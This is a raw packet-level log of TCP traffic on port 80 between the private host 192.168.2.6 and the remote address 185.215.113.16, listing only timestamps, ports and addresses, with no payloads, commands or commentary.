Oct 23, 2024 17:51:40.774336100 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774343967 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774363041 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774363995 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774375916 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774391890 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774396896 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774410963 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774420977 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774425983 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774444103 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774447918 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774461031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774471045 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774473906 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774487019 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774490118 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774498940 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774512053 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774521112 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774524927 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774537086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774544001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774548054 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774560928 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774561882 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774574041 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774584055 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774588108 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774595976 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774600029 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774614096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774624109 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774657011 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774841070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774853945 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774867058 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774880886 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774893045 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774924994 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774956942 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774970055 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774983883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774993896 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775007010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775029898 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775029898 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775043011 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775053978 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775057077 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775069952 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775079012 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775082111 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775099039 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775105000 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775111914 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775124073 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775126934 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775150061 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775177956 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775183916 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775197029 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775211096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775259018 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775259018 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775259018 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775294065 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775301933 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775307894 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775324106 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775360107 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.775954962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775975943 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.775990009 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776000023 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776012897 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776118994 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776133060 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776151896 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776165009 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776175022 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776190042 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776201010 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776211023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776221991 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776226044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776233912 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776235104 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776257992 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776257992 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776272058 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776278019 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776283979 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776290894 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776295900 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776305914 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776308060 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776320934 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776331902 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776338100 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776357889 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776362896 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776371002 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776385069 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776390076 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776402950 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776405096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776417971 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776428938 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776432037 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776443958 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776456118 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776460886 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776468039 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776480913 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776493073 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776493073 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776493073 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776504993 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776518106 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776527882 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776530981 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776551962 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776576996 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776695013 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776745081 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776779890 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776793957 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776806116 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776827097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776829958 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776839972 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776853085 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776859045 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776866913 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776879072 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776887894 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776891947 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776904106 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776909113 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776921988 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776943922 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.776952028 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.776995897 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777122974 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777134895 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777148962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777162075 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777169943 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777174950 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777183056 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777185917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777234077 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777234077 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777234077 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777283907 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777297974 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777311087 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777324915 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777348042 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777358055 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777364969 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777378082 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777386904 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777400017 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777410984 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777416945 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777422905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777441978 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777443886 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777457952 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777471066 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777472019 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777484894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777493954 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777507067 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777534962 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777643919 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777657986 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777681112 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777681112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777693987 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777704954 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777705908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777715921 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777728081 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777731895 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777741909 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777749062 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777754068 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777765989 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777769089 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777781010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777781010 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777786970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777797937 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777813911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777820110 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777826071 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777832031 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777838945 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777852058 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777862072 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777862072 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777864933 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777878046 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.777889013 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.777921915 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778281927 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778306007 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778317928 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778352976 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778371096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778383017 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778383970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778398037 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778414011 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778424978 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778444052 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778449059 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778455973 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778469086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778481007 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778489113 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778496981 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778497934 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778517962 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778518915 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778532028 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778542042 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778547049 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778558969 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778565884 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778577089 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778584957 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778595924 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778604031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778604984 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.778609037 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778618097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778621912 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.778708935 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.781750917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.781764984 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.781776905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.781836987 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.781836987 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.887631893 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.887653112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.887722969 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.887789965 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.887808084 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.887851954 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.892908096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.892924070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.892968893 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.893055916 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.893071890 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.893098116 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.893127918 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.898332119 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.898346901 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.898390055 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.898417950 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.898431063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.898443937 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.898467064 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.898483038 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.903680086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.903697014 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.903708935 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.903722048 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.903743982 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.903775930 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.909079075 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.909117937 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.909152031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.909178019 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.909187078 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.909204006 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.909220934 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.909235954 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.912853003 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.914449930 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.914491892 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.914525032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.914537907 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.914560080 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.914566040 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.916851997 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.919795036 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.919832945 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.919847965 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.919869900 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.919874907 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.919905901 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.919910908 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.919939995 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.919950008 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.919982910 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.925123930 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.925162077 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.925195932 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.925209999 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.925234079 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.925239086 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.925280094 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.925281048 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.925316095 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.925322056 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.925362110 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.930810928 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.930852890 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.930891037 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.930926085 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.930931091 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.930959940 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.930970907 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.930994034 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.931005001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.932147980 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.936253071 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.936351061 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.936384916 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.936404943 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.936419010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.936444044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.936855078 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.941523075 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.941560984 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.941596031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.941610098 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.941631079 CEST	80	49868	185.215.113.16	192.168.2.6
